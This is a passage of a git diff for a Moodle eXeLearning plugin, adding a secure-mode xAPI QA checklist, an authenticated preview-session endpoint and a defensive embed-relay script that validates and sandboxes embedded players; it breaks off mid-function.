+# xAPI ingestion — manual QA checklist (DEC-0064, DEC-0065)
 
 > Unit/integration tests (`tests/local/xapi/*`, `tests/js/xapi_listener.test.js`) cover the
 > validation, grading parity and the listener resend. This checklist is the **manual, real-package**
@@ -24,7 +24,9 @@
 - **Attempts** — `exelearning_attempt`: `itemnumber>0` = per-iDevice, `itemnumber=0` = overall.
 - **Audit** — `exelearning_tracking_events`: one row per `statement.id` with `verb` + `registration`.
 - **Channel check** — view source / Network: an XAPI package POSTs to **`xapi_track.php`** and the
-  SCORM shim is inert (no `track.php` POSTs); a LEGACY package POSTs to **`track.php`** only.
+  SCORM shim is inert (no `track.php` POSTs); a LEGACY package POSTs to **`track.php`** only. In
+  **secure** iframe mode (DEC-0065) the package iframe is opaque and the SCORM **bridge relay**
+  suppresses the `track.php` POST, so an XAPI package still shows only `xapi_track.php`.
 
 ## Scenarios
 
@@ -41,12 +43,15 @@
 | 9 | **Kill switch off** | Uncheck *Use xAPI grading…*; reload an XAPI activity | The package now grades via **SCORM** (`track.php`), the xAPI listener is **not** injected, and a direct POST to `xapi_track.php` returns `{ok:true,disabled:true}` without grading. Re-check the box → back to xAPI. |
 | 10 | **Idempotency** | Re-deliver the same statement (e.g. duplicate `postMessage`, or replay the POST) | Exactly one audit row and one attempt row; the grade is not applied twice (`duplicate:true`). |
 | 11 | **Registration hardening** | Craft a direct `xapi_track.php` POST with an over-long / non-alphanumeric `context.registration` and no body registration | No 500: the token is sanitised + capped to 40 chars; the attempt/audit store the bounded value. |
-| 12 | **Origin rejection** | (If reproducible) deliver a statement from a mismatched/`'*'` origin | Dropped by the listener; never reaches `xapi_track.php`. |
+| 12 | **Origin / window-identity rejection** | Deliver a statement from a window that is not the package iframe — legacy: a mismatched/`'*'` origin; secure: a different `event.source` (e.g. another frame) | Dropped by the listener; never reaches `xapi_track.php`. |
+| 13 | **xAPI grading in secure iframe mode (DEC-0065)** | *Site admin ▸ … ▸ eXeLearning ▸ iframe security mode* = **secure** (default). Run the XAPI package; a student grades an interaction | Grades land via `xapi_track.php` exactly like legacy; the SCORM **bridge relay** forwards no score (no `track.php` POST); per-iDevice/overall columns correct. The opaque iframe's `event.origin` is `"null"` yet statements are accepted (window identity = `event.source` is the package iframe). |
+| 14 | **Kill switch flipped during an open session (known limitation, DEC-0065/DEC-0064)** | Open an XAPI activity as a student; while it stays open, an admin **unchecks** *Use xAPI grading…*; the student answers **without reloading** | That already-open page grades **neither** channel until reloaded (SCORM suppressed client-side, xAPI ignored server-side); after a reload it grades via SCORM. Pre-existing since DEC-0064 — the kill switch takes effect on the **next** page load, so flip it outside activity hours. |
 
 ## Sign-off
 
 - [ ] Scenarios 1–4 (core grading + the answered-only edge) pass.
 - [ ] Scenarios 5–9 (resilience, attempts, preview, grading off, kill switch) pass.
-- [ ] Scenarios 10–12 (idempotency, input hardening, origin) pass.
+- [ ] Scenarios 10–12 (idempotency, input hardening, origin/window-identity) pass.
+- [ ] Scenarios 13–14 (secure-mode xAPI grading; kill-switch-mid-session limitation understood) pass.
 - [ ] Gradebook totals and activity completion are correct for at least one PERITEM and one OVERALL run.
 - [ ] `exelearning_tracking_events` monitoring query returns 0 for a clean run (no orphaned `answered`).
diff --git a/editor/index.php b/editor/index.php
index 22b034c..93575da 100644
--- a/editor/index.php
+++ b/editor/index.php
@@ -139,7 +139,7 @@ function exelearning_editor_error_page(string $message): void {
 $wwwrootorigin = $parsedwwwroot['scheme'] . '://' . $parsedwwwroot['host']
     . (!empty($parsedwwwroot['port']) ? ':' . $parsedwwwroot['port'] : '');
 
-$embeddingconfig = json_encode([
+$embeddingconfigdata = [
     'basePath' => $editorbaseurl,
     'parentOrigin' => $wwwrootorigin,
     'trustedOrigins' => [$wwwrootorigin],
@@ -151,7 +151,32 @@ function exelearning_editor_error_page(string $message): void {
     ],
     'platform' => 'moodle',
     'pluginVersion' => get_config('mod_exelearning', 'version'),
-]);
+];
+
+// Normalized HTTP preview activation (serving contract v2). Once the embedded
+// editor build ships HttpPreviewProvider it renders the opaque preview over the
+// plugin's own capability URLs: management (authenticated, sesskey + cmid in the
+// query) at editor/preview_session.php, authless serving at preview.php.
+//
+// Omitted under the php-wasm Playground: a service worker cannot serve a
+// genuinely opaque iframe, so the editor must FAIL CLOSED there (a clear preview
+// error) rather than silently downgrade the isolation boundary. Enabling preview
+// in the Playground is a blueprint-only, dev-only opt-in to previewTransport
+// 'static-service-worker' (which the core preview panel renders with a visible
+// warning) — never an admin setting. See docs/preview-serving-contract.md.
+if (!(defined('MOODLE_PLAYGROUND') && MOODLE_PLAYGROUND)) {
+    $embeddingconfigdata['previewHttp'] = [
+        'protocolVersion' => 2,
+        'managementBaseUrl' => (new moodle_url('/mod/exelearning/editor/preview_session.php'))->out(false),
+        'servingBaseUrl' => (new moodle_url('/mod/exelearning/preview.php'))->out(false),
+        'managementQuery' => [
+            'cmid' => (string) $cm->id,
+            'sesskey' => sesskey(),
+        ],
+    ];
+}
+
+$embeddingconfig = json_encode($embeddingconfigdata);
 
 // Approved style registry consumed by the editor's themeRegistryOverride
 // hook (see exelearning/exelearning#1722). Filters built-ins, appends
@@ -216,12 +241,30 @@ enumerable: true,
     // the Yjs theme bind and leaves the editor unresponsive. WP and Omeka-S
     // ship the same workaround: swallow 404s on .css / idevices URLs and
     // return an empty stylesheet so the editor keeps booting.
-    // Disable any new service-worker registration (the static editor's
-    // preview-sw.js is served from the same static.php router; environments
-    // that proxy or cache that router — e.g. moodle-playground — return a
-    // 404 there and the registration error spams the console without
-    // blocking anything).
+    // Neutralize the static editor's preview-sw.js registration (its SW is
+    // served from the same static.php router; environments that proxy or cache
+    // that router — e.g. moodle-playground — 404 the SW script and the
+    // registration error spams the console). The stub MUST return a faithful
+    // ServiceWorkerRegistration shape, not a bare { scope: "" }: the editor's
+    // preview provider calls registration.addEventListener("updatefound", …) and
+    // reads installing/waiting/active, so a bare object throws "addEventListener
+    // is not a function" and aborts the preview/export iframe. A dummy with a
+    // non-empty scope, null workers (so the provider's activation wait resolves
+    // at once and it claims no clients) and no-op event/lifecycle methods lets
+    // the provider complete and fall back cleanly.
     (function() {
+        function fakeSwRegistration(options) {
+            return {
+                scope: (options && options.scope) || "/",
+                installing: null,
+                waiting: null,
+                active: null,
+                addEventListener: function() {},
+                removeEventListener: function() {},
+                update: function() { return Promise.resolve(); },
+                unregister: function() { return Promise.resolve(true); }
+            };
+        }
         if ("serviceWorker" in navigator) {
             try {
                 var registerOriginal = navigator.serviceWorker.register
@@ -229,11 +272,11 @@ enumerable: true,
                     : null;
                 navigator.serviceWorker.register = function(scriptURL, options) {
                     if (typeof scriptURL === "string" && scriptURL.indexOf("preview-sw.js") !== -1) {
-                        return Promise.resolve({ scope: "" });
+                        return Promise.resolve(fakeSwRegistration(options));
                     }
                     return registerOriginal
                         ? registerOriginal(scriptURL, options)
-                        : Promise.resolve({ scope: "" });
+                        : Promise.resolve(fakeSwRegistration(options));
                 };
             } catch (e) {
                 // Some embeds make navigator.serviceWorker non-writable; ignore.
diff --git a/editor/preview_session.php b/editor/preview_session.php
new file mode 100644
index 0000000..065881e
--- /dev/null
+++ b/editor/preview_session.php
@@ -0,0 +1,150 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Authenticated, owner-scoped management API for the editor preview
+ * (serving contract v2 — docs/preview-serving-contract.md, §A).
+ *
+ * A single dispatcher routing the four contract operations over method + PATH_INFO
+ * (the same slash-argument shape preview.php serves), gated by require_login +
+ * sesskey + capability on the activity's module context and owner-scoped to the
+ * authoring $USER. `cmid` and `sesskey` are query parameters on every request:
+ *
+ *   POST   {script}                      → create
+ *   POST   {script}/{previewId}/assets    → assets   (multipart)
+ *   POST   {script}/{previewId}/revisions → revision (multipart)
+ *   DELETE {script}/{previewId}           → delete
+ *
+ * The authless serving counterpart is preview.php. All protocol logic (including
+ * the method/path routing) lives in \mod_exelearning\local\preview\serving so
+ * this script only authenticates, marshals the request, and emits the JSON result.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+define('AJAX_SCRIPT', true);
+
+// @codingStandardsIgnoreLine — path is fixed relative to /mod/exelearning/editor/.
+require('../../../config.php');
+
+use mod_exelearning\local\preview\serving;
+use mod_exelearning\local\preview\session_store;
+
+$cmid = required_param('cmid', PARAM_INT);
+
+$cm = get_coursemodule_from_id('exelearning', $cmid, 0, false, MUST_EXIST);
+$course = $DB->get_record('course', ['id' => $cm->course], '*', MUST_EXIST);
+
+require_login($course, true, $cm);
+require_sesskey();
+$context = context_module::instance($cm->id);
+require_capability('moodle/course:manageactivities', $context);
+
+// Release the session lock early: serving GETs must not queue behind this write.
+\core\session\manager::write_close();
+
+header('Content-Type: application/json; charset=utf-8');
+
+/**
+ * Emit a management result ({status, body}) and stop.
+ *
+ * @param array $result Management result with 'status' and 'body' keys.
+ * @return never
+ */
+function exelearning_preview_emit(array $result): void {
+    http_response_code($result['status']);
+    echo json_encode($result['body']);
+    die;
+}
+
+// Route on method + PATH_INFO ("/{previewId}/{op}"); cmid/sesskey stay in the query.
+$route = serving::route_management($_SERVER['REQUEST_METHOD'] ?? 'GET', (string) get_file_argument());
+
+try {
+    if ($route['op'] === 'error') {
+        if (!empty($route['allow'])) {
+            header('Allow: ' . $route['allow']);
+        }
+        exelearning_preview_emit(['status' => $route['status'], 'body' => ['success' => false, 'error' => $route['message']]]);
+    }
+
+    if ($route['op'] === 'create') {
+        exelearning_preview_emit(serving::create_session_response((int) $USER->id));
+    }
+
+    // Every other operation targets an existing, owner-scoped session.
+    $owned = session_store::get_owned($route['previewid'], (int) $USER->id);
+    if ($owned['status'] !== 200) {
+        $message = ($owned['status'] === 403) ? 'Access denied' : 'Preview session not found';
+        exelearning_preview_emit(['status' => $owned['status'], 'body' => ['success' => false, 'error' => $message]]);
+    }
+    $session = $owned['session'];
+
+    if ($route['op'] === 'assets') {
+        $parts = exelearning_preview_uploaded_parts();
+        exelearning_preview_emit(serving::handle_assets_request($session, $_POST['assets'] ?? null, $parts));
+    }
+
+    if ($route['op'] === 'revision') {
+        $parts = exelearning_preview_uploaded_parts();
+        exelearning_preview_emit(serving::handle_revision_request($session, $_POST['revision'] ?? null, $parts));
+    }
+
+    // The only remaining routed operation is delete.
+    session_store::delete_session($route['previewid']);
+    exelearning_preview_emit(['status' => 200, 'body' => ['success' => true]]);
+} catch (Throwable $e) {
+    debugging('mod_exelearning preview session endpoint failed: ' . $e->getMessage(), DEBUG_DEVELOPER);
+    exelearning_preview_emit(['status' => 500, 'body' => ['success' => false, 'error' => get_string('error')]]);
+}
+
+/**
+ * Read the multipart files[] upload into an index-aligned array of parts, each
+ * carrying its PHP upload error code, name and (when readable) bytes. A per-file
+ * upload error is NOT collapsed to empty content here — serving::collect_upload()
+ * rejects the whole batch instead, so a document that exceeded the server upload
+ * limit can never be published as a 0-byte file.
+ *
+ * @return array<int,array{error:int,name:string,bytes:?string}>
+ */
+function exelearning_preview_uploaded_parts(): array {
+    if (empty($_FILES['files']) || !isset($_FILES['files']['tmp_name'])) {
+        return [];
+    }
+    $tmpnames = $_FILES['files']['tmp_name'];
+    $errors = $_FILES['files']['error'];
+    $names = $_FILES['files']['name'] ?? [];
+    // Normalize the single-file shape to arrays.
+    if (!is_array($tmpnames)) {
+        $tmpnames = [$tmpnames];
+        $errors = [$errors];
+        $names = [$names];
+    }
+    $parts = [];
+    foreach ($tmpnames as $i => $tmpname) {
+        $error = isset($errors[$i]) ? (int) $errors[$i] : UPLOAD_ERR_NO_FILE;
+        $name = isset($names[$i]) ? (string) $names[$i] : '';
+        $bytes = null;
+        if ($error === UPLOAD_ERR_OK && is_uploaded_file($tmpname)) {
+            $read = file_get_contents($tmpname);
+            $bytes = ($read === false) ? null : $read;
+        }
+        $parts[] = ['error' => $error, 'name' => $name, 'bytes' => $bytes];
+    }
+    return $parts;
+}
diff --git a/js/exe_embed_relay.js b/js/exe_embed_relay.js
new file mode 100644
index 0000000..4b389cf
--- /dev/null
+++ b/js/exe_embed_relay.js
@@ -0,0 +1,639 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Parent-side external-embed relay for the secure (opaque-origin) package mode.
+ *
+ * Companion to js/exe_embed_shim.js (baked into the package, runs INSIDE the iframe).
+ * In secure mode the package is opaque, so cross-origin players (YouTube, Vimeo) and
+ * PDFs render blank. The shim replaces each candidate iframe with a placeholder and
+ * postMessages its geometry here; this relay (the trusted half) validates each URL and
+ * overlays the real player inline over the placeholder.
+ *
+ * Trust model (DEC-0061): the promoted player is rendered cross-origin and SANDBOXED, so
+ * the same-origin policy isolates it from this LMS page (it cannot read the DOM, cookies,
+ * session or file token). Two modes:
+ *  - 'open' (default): promote any iframe whose src is https AND cross-origin to the LMS
+ *    (rejecting same-origin, sub/superdomains of the LMS, IP/loopback/local hosts and
+ *    userinfo). No host list. The host is irrelevant to escape; the residual is
+ *    phishing/tracking, bounded to the content's own box (the overlay is clamped).
+ *  - 'strict': only a maintained host allowlist with per-provider canonical-URL
+ *    reconstruction (the pre-DEC-0061 behaviour), for high-security deployments.
+ * "Any https .pdf" is always allowed (same-origin only for this package's own files).
+ *
+ * Messages are authenticated by window identity (event.source === a known CONTENT
+ * iframe, never a promoted player); the opaque origin has no useful event.origin.
+ *
+ * Exposed two ways from a single body: window.exeEmbedRelay (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-0061.
+ *
+ * MIRROR of the canonical eXeLearning embedder source in eXe core
+ * (public/app/common/exe_embed_bridge/exe_embed_relay.js). Keep in sync with core;
+ * changes flow from core outward. Verified by core scripts/check-embed-sync.mjs.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Build a host lookup map from a whitelist array (lowercased). Used by 'strict' mode.
+     *
+     * @param {string[]} list
+     * @returns {Object}
+     */
+    function buildWhitelist(list) {
+        var map = {};
+        (list || []).forEach(function (host) {
+            map[String(host).toLowerCase()] = true;
+        });
+        return map;
+    }
+
+    /**
+     * Directory portion of the content iframe src (everything up to the last '/').
+     *
+     * @param {string} src
+     * @returns {string}
+     */
+    function contentDir(src) {
+        try {
+            return new URL(src, window.location.href).href.replace(/[^/]*([?#].*)?$/, '');
+        } catch (e) {
+            return '';
+        }
+    }
+
+    /**
+     * Long hex token shared by the content URL and its assets (null when there is
+     * none, e.g. content URLs that use numeric ids).
+     *
+     * @param {string} src
+     * @returns {?string}
+     */
+    function packageId(src) {
+        var match = String(src).match(/[a-f0-9]{12,}/i);
+        return match ? match[0] : null;
+    }
+
+    /**
+     * Whether a same-origin URL is one of this package's own extracted files: under
+     * the content's own directory, or carrying the package hash as a path segment.
+     *
+     * @param {URL} url
+     * @param {string} contentSrc
+     * @returns {boolean}
+     */
+    function isSameOriginPackageFile(url, contentSrc) {
+        var dir = contentDir(contentSrc);
+        if (dir && url.href.indexOf(dir) === 0) {
+            return true;
+        }
+        var id = packageId(contentSrc);
+        return !!(id && url.pathname.indexOf('/' + id + '/') !== -1);
+    }
+
+    /**
+     * Whether a host is an IP literal (v4/v6) or a loopback/local name. Such hosts are
+     * cross-origin to the LMS yet target the machine/internal network, so they are
+     * rejected even though SOP would isolate them.
+     *
+     * @param {string} host  Lowercased URL.hostname.
+     * @returns {boolean}
+     */
+    function isIpOrLocalHost(host) {
+        if (!host) { return true; }
+        if (host === 'localhost' || /\.localhost$/.test(host) || /\.local$/.test(host)) { return true; }
+        if (host.charAt(0) === '[' || host.indexOf(':') !== -1) { return true; }  // IPv6 (bracketed).
+        if (/^\d{1,3}(\.\d{1,3}){3}$/.test(host)) { return true; }                 // Any IPv4 literal.
+        return false;
+    }
+
+    /**
+     * Lowercase a hostname and strip a single trailing dot. 'lms.example.org.' (the
+     * FQDN-root form) resolves to the same vhost as 'lms.example.org' but compares
+     * unequal as a raw string, so without this it would slip past the same-origin /
+     * related-to-LMS gate below and be promoted as a cross-origin player.
+     *
+     * @param {string} host
+     * @returns {string}
+     */
+    function normalizeHost(host) {
+        return (host || '').toLowerCase().replace(/\.$/, '');
+    }
+
+    /**
+     * Whether a host equals, is a subdomain of, or is a superdomain of the LMS host
+     * (dotted boundary so 'evil-lms.example' does not match 'lms.example'). Such hosts
+     * may share the LMS cookies, so they are rejected. Both sides are normalised so the
+     * trailing-dot FQDN-root form cannot evade the comparison.
+     *
+     * @param {string} host
+     * @param {string} lmsHost
+     * @returns {boolean}
+     */
+    function isRelatedToLms(host, lmsHost) {
+        host = normalizeHost(host);
+        lmsHost = normalizeHost(lmsHost);
+        if (!lmsHost) { return false; }
+        return host === lmsHost || host.endsWith('.' + lmsHost) || lmsHost.endsWith('.' + host);
+    }
+
+    /**
+     * The structural invariant: an https URL cross-origin to the LMS and not pointing at
+     * a sub/superdomain, an IP/loopback/local host, or carrying userinfo. This is the
+     * only attacker-influenced gate in 'open' mode, and it is what makes the sandboxed
+     * player's allow-same-origin safe (the embed keeps ITS OWN origin, isolated by SOP).
+     *
+     * @param {URL} url
+     * @returns {boolean}
+     */
+    function isCrossOriginHttps(url) {
+        if (url.protocol !== 'https:') { return false; }
+        if (url.username || url.password) { return false; }
+        if (url.origin === window.location.origin) { return false; }
+        var host = normalizeHost(url.hostname);
+        if (isIpOrLocalHost(host)) { return false; }
+        var lmshost = (window.location && window.location.hostname) ? window.location.hostname : '';
+        if (isRelatedToLms(host, lmshost)) { return false; }
+        return true;
+    }
+
+    // Provider templates for the id-only channel (DEC-0067): the parent rebuilds the canonical
+    // embed URL from {provider, objectId} reported by the shim, re-checking the object id
+    // against a strict per-provider regex so it cannot carry a path/query/fragment and escape
+    // the template (e.g. '../../x' or 'a/b?c'). The reconstructed URL still runs through
+    // validate() (structural invariant / strict whitelist), so this narrows the surface for
+    // recognised providers; it is not, by itself, the trust gate.
+    var PROVIDER_TEMPLATES = {
+        youtube: { re: /^[A-Za-z0-9_-]{6,}$/, build: function (id) { return 'https://www.youtube-nocookie.com/embed/' + id; } },
+        vimeo: { re: /^[0-9]+$/, build: function (id) { return 'https://player.vimeo.com/video/' + id; } },
+        dailymotion: { re: /^[A-Za-z0-9]{5,}$/, build: function (id) { return 'https://www.dailymotion.com/embed/video/' + id; } },
+        'mediateca-madrid': { re: /^[A-Za-z0-9]{8,}$/, build: function (id) { return 'https://mediateca.educa.madrid.org/video/' + id + '/fs'; } }
+    };
+
+    /**
+     * Rebuild the canonical embed URL for a recognised provider from its object id, or null
+     * if the provider is unknown or the id is not the exact shape the template expects.
+     *
+     * @param {string} provider
+     * @param {string} objectId
+     * @returns {?string}
+     */
+    function reconstructProvider(provider, objectId) {
+        var t = PROVIDER_TEMPLATES[provider];
+        if (!t || typeof objectId !== 'string' || !t.re.test(objectId)) {
+            return null;
+        }
+        return t.build(objectId);
+    }
+
+    /**
+     * Validate an embed URL. Returns {url, kind ('video'|'pdf'), sameorigin?} or null.
+     *
+     * @param {string} raw         The reported (absolute) embed URL.
+     * @param {string} contentSrc  The src of the content iframe that reported it.
+     * @param {Object} opts        {strict: boolean, whitelist: Object}.
+     * @returns {?Object}
+     */
+    function validate(raw, contentSrc, opts) {
+        opts = opts || {};
+        var url;
+        try {
+            // Parse as an ABSOLUTE URL (the shim always reports absolute). No base:
+            // a relative/scheme-relative value would otherwise inherit the LMS origin
+            // and pass as same-origin -- here it throws and is rejected instead.
+            url = new URL(raw);
+        } catch (e) {
+            return null;
+        }
+        if (url.username || url.password) {
+            return null; // Reject userinfo, e.g. https://evil.com@youtube.com/.
+        }
+        var host = url.hostname.toLowerCase();
+
+        // PDFs: any cross-origin https .pdf, or a same-origin file that belongs to this
+        // package (served as application/pdf + nosniff, never executable HTML).
+        if (/\.pdf$/i.test(url.pathname)) {
+            if (url.origin === window.location.origin) {
+                return isSameOriginPackageFile(url, contentSrc) ? { url: url.href, kind: 'pdf', sameorigin: true } : null;
+            }
+            return isCrossOriginHttps(url) ? { url: url.href, kind: 'pdf' } : null;
+        }
+
+        // Strict mode: maintained host allowlist + per-provider canonical reconstruction.
+        if (opts.strict) {
+            var whitelist = opts.whitelist || {};
+            if (whitelist[host] && url.protocol === 'https:') {
+                var m;
+                if (host.indexOf('youtube') !== -1) {
+                    m = url.pathname.match(/^\/embed\/([A-Za-z0-9_-]{6,})$/);
+                    return m ? { url: 'https://www.youtube-nocookie.com/embed/' + m[1], kind: 'video' } : null;
+                }
+                if (host.indexOf('vimeo') !== -1) {
+                    m = url.pathname.match(/^\/video\/([0-9]+)$/);
+                    return m ? { url: 'https://player.vimeo.com/video/' + m[1], kind: 'video' } : null;
+                }
+                if (host.indexOf('dailymotion') !== -1) {
+                    m = url.pathname.match(/^\/embed\/video\/([A-Za-z0-9]{5,})$/);
+                    return m ? { url: 'https://www.dailymotion.com/embed/video/' + m[1], kind: 'video' } : null;
+                }
+                if (host === 'mediateca.educa.madrid.org') {
+                    m = url.pathname.match(/^\/video\/([A-Za-z0-9]{8,})(?:\/fs)?$/);
+                    return m ? { url: 'https://mediateca.educa.madrid.org/video/' + m[1] + '/fs', kind: 'video' } : null;
+                }
+            }
+            return null;
+        }
+
+        // Open mode (default): any cross-origin https iframe is a video embed.
+        return isCrossOriginHttps(url) ? { url: url.href, kind: 'video' } : null;
+    }
+
+    /**
+     * Create the player iframe for a validated embed. The video player gets allow-same-origin
+     * (so the cross-origin provider keeps its own origin and renders) while omitting
+     * allow-top-navigation/allow-modals, so a hostile embed cannot redirect the LMS tab or
+     * spam dialogs. A same-origin package PDF is served as application/pdf + nosniff (never
+     * executable HTML) and is left unsandboxed so the browser's built-in viewer renders it; a
+     * CROSS-ORIGIN PDF URL comes from the untrusted package, so it is sandboxed WITHOUT
+     * allow-top-navigation (a server can serve scripted HTML at a .pdf path, which unsandboxed
+     * could top-navigate the parent tab to a phishing page).
+     *
+     * @param {Object} result {url, kind, sameorigin?} from validate().
+     * @returns {HTMLIFrameElement}
+     */
+    function makePlayer(result) {
+        var frame = document.createElement('iframe');
+        frame.style.cssText = 'position:absolute;border:0;pointer-events:auto;';
+        // Mark as a player so it is never mistaken for a content source (message auth).
+        frame.setAttribute('data-exe-embed-player', '1');
+        if (result.kind === 'video') {
+            frame.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-popups allow-forms allow-presentation');
+            frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture; clipboard-write');
+            frame.setAttribute('allowfullscreen', '');
+            frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        } else if (result.sameorigin) {
+            // Same-origin PDF that belongs to THIS package: served application/pdf + nosniff
+            // (never executable HTML, so it cannot script or navigate), left unsandboxed so the
+            // browser's built-in viewer renders it (it shows the broken-document icon inside a
+            // sandbox). The load guard still removes it if it redirects to the LMS origin.
+            frame.setAttribute('allow', 'fullscreen');
+            frame.setAttribute('referrerpolicy', 'no-referrer');
+        } else {
+            // Cross-origin PDF whose URL is controlled by the untrusted package. A server can
+            // serve scripted HTML at a ".pdf" path; unsandboxed, that frame could top-navigate
+            // the Moodle tab to a phishing page on a click (a package must never change the
+            // parent URL). Sandbox it WITHOUT allow-top-navigation/allow-scripts; allow-same-
+            // origin keeps the provider's own origin (SOP-isolated from the LMS). Trade-off: a
+            // genuine cross-origin PDF may render the broken-document icon under the sandbox --
+            // accepted, since local package PDFs (the common case) take the branch above and
+            // blocking the tab-redirect vector matters more than inlining a remote PDF.
+            frame.setAttribute('sandbox', 'allow-same-origin');
+            frame.setAttribute('allow', 'fullscreen');
+            frame.setAttribute('referrerpolicy', 'no-referrer');
+        }
+        frame.src = result.url;
+        // Tag with the URL it renders so sync() can detect when a reused embed id (the
+        // shim restarts its counter per page) now points at a different URL.
+        frame.setAttribute('data-exe-embed-src', result.url);
+        return frame;
+    }
+
+    /**
+     * Create a relay instance.
+     *
+     * @param {Object} config {mode: 'open'|'strict', whitelist: string[]}
+     * @returns {Object}
+     */
+    function createRelay(config) {
+        config = config || {};
+        var strict = config.mode === 'strict';
+        var whitelist = buildWhitelist(config.whitelist);
+        var overlays = [];
+        // Handles for the listeners/timer init() installs, so dispose() can remove
+        // them and init() can stay idempotent (a second init() must not stack a
+        // second drift interval + duplicate window listeners on the same relay).
+        var driftTimer = null;
+        var started = false;
+
+        function findOverlay(iframe) {
+            for (var i = 0; i < overlays.length; i++) {
+                if (overlays[i].iframe === iframe) {
+                    return overlays[i];
+                }
+            }
+            return null;
+        }
+
+        // Resolve the CONTENT iframe a message came from. Promoted players are excluded
+        // (data-exe-embed-player): a sandboxed player with allow-same-origin could
+        // otherwise postMessage a forged 'sync' and impersonate a content source.
+        function frameForSource(source) {
+            var frames = document.getElementsByTagName('iframe');
+            for (var i = 0; i < frames.length; i++) {
+                if (frames[i].getAttribute('data-exe-embed-player')) {
+                    continue;
+                }
+                if (frames[i].contentWindow === source) {
+                    return frames[i];
+                }
+            }
+            return null;
+        }
+
+        function overlayFor(iframe) {
+            var entry = findOverlay(iframe);
+            if (entry) {
+                return entry;
+            }
+            var el = document.createElement('div');
+            el.className = 'exe-embed-overlay';
+            el.style.cssText = 'position:absolute;overflow:hidden;pointer-events:none;z-index:2147483646;';
+            document.body.appendChild(el);
+            entry = { iframe: iframe, el: el, players: {} };
+            overlays.push(entry);
+            return entry;
+        }
+
+        function positionOverlay(entry, rect) {
+            rect = rect || entry.iframe.getBoundingClientRect();
+            var scrollX = window.pageXOffset || document.documentElement.scrollLeft || 0;
+            var scrollY = window.pageYOffset || document.documentElement.scrollTop || 0;
+            entry.el.style.left = (rect.left + scrollX) + 'px';
+            entry.el.style.top = (rect.top + scrollY) + 'px';
+            entry.el.style.width = rect.width + 'px';
+            entry.el.style.height = rect.height + 'px';
+            // Remembered so checkDrift() can detect host-driven moves of the content
+            // iframe (panel toggles, sidebar show/hide) that fire no scroll/resize.
+            entry.lastRect = { left: rect.left, top: rect.top, width: rect.width, height: rect.height };
+        }
+
+        /**
+         * Re-position any overlay whose content iframe box moved since it was last
+         * placed. The host page can move or resize the content iframe without any
+         * scroll/resize event firing (editor sidebar toggles, panel slide-ins, CSS
+         * transforms), which would strand the overlay at its old position. Called
+         * from a low-frequency interval in init(); one getBoundingClientRect per
+         * overlay per tick. Returns how many overlays were re-positioned.
+         *
+         * @returns {number}
+         */
+        function checkDrift() {
+            var moved = 0;
+            for (var i = 0; i < overlays.length; i++) {
+                var entry = overlays[i];
+                var rect = entry.iframe.getBoundingClientRect();
+                var last = entry.lastRect;
+                if (
+                    !last ||
+                    rect.left !== last.left ||
+                    rect.top !== last.top ||
+                    rect.width !== last.width ||
+                    rect.height !== last.height
+                ) {
+                    positionOverlay(entry, rect);
+                    moved += 1;
+                }
+            }
+            return moved;
+        }
+
+        // D1: if a promoted embed lands SAME-ORIGIN to the LMS (e.g. a cross-origin URL
+        // that 30x-redirects to this origin), with allow-same-origin it would become
+        // scriptable against this page -> remove it. A genuine cross-origin player throws
+        // on contentWindow.document (expected, kept). Not armed for same-origin package
+        // PDFs (intentionally same-origin, served as application/pdf).
+        function armSameOriginGuard(entry, id, player) {
+            player.addEventListener('load', function () {
+                try {
+                    if (player.contentWindow && player.contentWindow.document) {
+                        if (player.parentNode) { player.parentNode.removeChild(player); }
+                        if (entry.players[id] === player) { delete entry.players[id]; }
+                    }
+                } catch (e) { /* cross-origin: expected, keep the player */ }
+            });
+        }
+
+        function sync(entry, embeds, contentSrc) {
+            // The content iframe's box is invariant across this sync pass (the loop only
+            // mutates the overlay and its players), so read it once and reuse it for the
+            // overlay position and every player clamp -- avoids a forced reflow per embed.
+            var rect = entry.iframe.getBoundingClientRect();
+            positionOverlay(entry, rect);
+            var seen = {};
+            embeds.forEach(function (embed) {
+                if (!embed || typeof embed.id !== 'string') {
+                    return;
+                }
+                if (!isFinite(embed.x) || !isFinite(embed.y) || !isFinite(embed.w) || !isFinite(embed.h)) {
+                    return;
+                }
+                // id-only channel (DEC-0067): for recognised providers the shim reports
+                // {provider, objectId} and the parent rebuilds the canonical URL from a
+                // fixed template (the author URL never crosses for these). Unknown embeds
+                // keep the URL path. Either way validate() runs the structural invariant.
+                var raw = embed.url;
+                if (embed.provider && embed.objectId) {
+                    raw = reconstructProvider(embed.provider, embed.objectId);
+                    if (!raw) {
+                        return;
+                    }
+                }
+                var result = validate(raw, contentSrc, { strict: strict, whitelist: whitelist });
+                if (!result) {
+                    return;
+                }
+                seen[embed.id] = true;
+                var player = entry.players[embed.id];
+                // After the content navigates, the shim reuses ids (exe-embed-1, ...) for
+                // the new page's embeds. If this id now renders a different URL, drop the
+                // stale player so the previous page's video does not linger here.
+                if (player && player.getAttribute('data-exe-embed-src') !== result.url) {
+                    player.parentNode.removeChild(player);
+                    delete entry.players[embed.id];
+                    player = null;
+                }
+                if (!player) {
